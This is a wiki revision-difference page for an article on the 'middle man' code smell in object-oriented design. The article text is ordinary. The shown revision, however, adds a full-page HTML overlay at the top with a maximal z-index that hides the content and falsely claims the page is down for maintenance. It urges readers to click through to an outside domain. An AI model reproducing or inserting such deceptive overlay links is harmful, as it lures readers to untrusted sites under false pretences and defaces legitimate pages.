Middle man smell

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
m (See also)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ojaperiwiva.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://ojaperiwiva.co.cc CLICK HERE]=
 +
----
 +
</div>
 
In object oriented programming, it is common to delegate some work to other objects. However, if a class delegates the majority of work to another class, it is just a middle man and should be removed. Instead, you should talk directly to the class that implements the behavior rather than going through the middle man.  
 
In object oriented programming, it is common to delegate some work to other objects. However, if a class delegates the majority of work to another class, it is just a middle man and should be removed. Instead, you should talk directly to the class that implements the behavior rather than going through the middle man.  
  

Revision as of 10:00, 24 November 2010


In object oriented programming, it is common to delegate some work to other objects. However, if a class delegates the majority of work to another class, it is just a middle man and should be removed. Instead, you should talk directly to the class that implements the behavior rather than going through the middle man.

Conflicts

  • Mediator can turn into a middle man that does little other than delegating to other objects.
  • Facade by definition delegates to classes in a subsystem that is being hidden from other parts of the system.

See also


Personal tools